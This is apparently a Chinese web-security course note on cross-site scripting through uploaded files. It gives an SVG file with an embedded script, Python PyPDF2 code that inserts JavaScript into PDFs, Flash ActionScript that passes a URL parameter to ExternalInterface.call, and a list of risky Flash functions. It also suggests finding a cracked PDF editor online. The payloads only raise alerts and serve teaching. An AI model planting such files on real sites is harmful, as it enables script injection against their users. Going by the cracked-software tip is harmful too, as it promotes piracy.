Day53：WEB攻防-XSS跨站&SVG&PDF&Flash&MXSS&UXSS&配合上传&文件添加脚本

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式，和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失，并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它，目前主流的浏览器都已经支持SVG图片的渲染。

XML 复制代码

poc：
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>

通过文件上传功能上传一个SVG文件(该文件已经提前植入XSS代码)，然后在访问这个上传后的svg地址即可触发上图效果

PDF-XSS

1、创建PDF，加入动作JS
2、通过文件上传获取直链

3、直链地址访问后被触发

项目：迅捷PDF编辑器试用版

创建PDF，加入动作JS

通过文件上传获取直链

直链地址访问后被触发

项目制作工具：迅捷PDF编辑器试用版(最好网上找破解版，然后导入其他正常的pdf，在正常的pdf插入js动作)

Python生成XSS

首先我们需要安装Python中相应的模块，执行下面命令进行安装。

pip install PyPDF2

利用python创建一个含有XSS的PDF文件。

python 复制代码

from PyPDF2 import PdfReader, PdfWriter
# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加js代码
output_pdf.add_js("app.alert('123');")
# 将新页面写入到新 PDF 文档中
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)

使用python3运行这个python文件即可在当前目录下生成一个XSS.pdf文件，用浏览器打开这个pdf即可触发js代码

和正常PDF绑定

python 复制代码

from PyPDF2 import PdfReader, PdfWriter
# 打开原始 22.PDF 文件
input_pdf = PdfReader("22.pdf")
# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 将现有的 PDF 页面复制到新文档
for i in range(len(input_pdf.pages)):
    output_pdf.add_page(input_pdf.pages[i])
# 添加 javaScript 代码
output_pdf.add_js("app.alert('123');")
# 将新 PDF 文档写入到文件中
with open("xssplus.pdf", "wb") as f:
    output_pdf.write(f)

提前准备好一个22.pdf文件，与当前py脚本放在同一个目录下，运行该py脚本即可在当前目录下生成一个xssplus.pdf

Flash-XSS

新建swf文件(SWF文件是Flash动画文件格式)

F9进入代码区域

属性发布设置解析(root指当前swf文件)

python 复制代码

//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);

触发：?m=alert(/xss/)

项目制作工具：Adobe Flash Professional CS6

实战中如何利用？

通过文件上传自己制作的swf文件然后去访问执行

对本身的swf文件反编译逆向，分析触发点，文件上传触发JS

通过文件上传这个SWF文件后访问进行JS触发

测试swf文件xss安全性：

逆向项目：JPEXS Free Flash Decompiler

1、反编译swf文件

2、查找触发危险函数

3、找可控参数访问触发

xss一是指执行恶意js，那么为什么说flash xss呢？是因为flash有可以调用js的函数，也就是可以和js通信，因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有：getURL，navigateToURL，ExternalInterface.call(最多)，htmlText，loadMovie等等